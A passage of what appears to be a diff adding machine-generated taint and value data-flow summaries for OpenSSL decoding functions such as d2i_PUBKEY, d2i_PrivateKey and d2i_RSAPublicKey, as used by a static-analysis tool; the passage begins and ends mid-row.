"taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PUBKEY_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[3]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_bio", "(BIO *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_bio", "(BIO *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_bio", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_bio", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex", "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_bio", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_ex_fp", "(FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PrivateKey_fp", "(FILE *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[3]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_PublicKey", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPrivateKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS 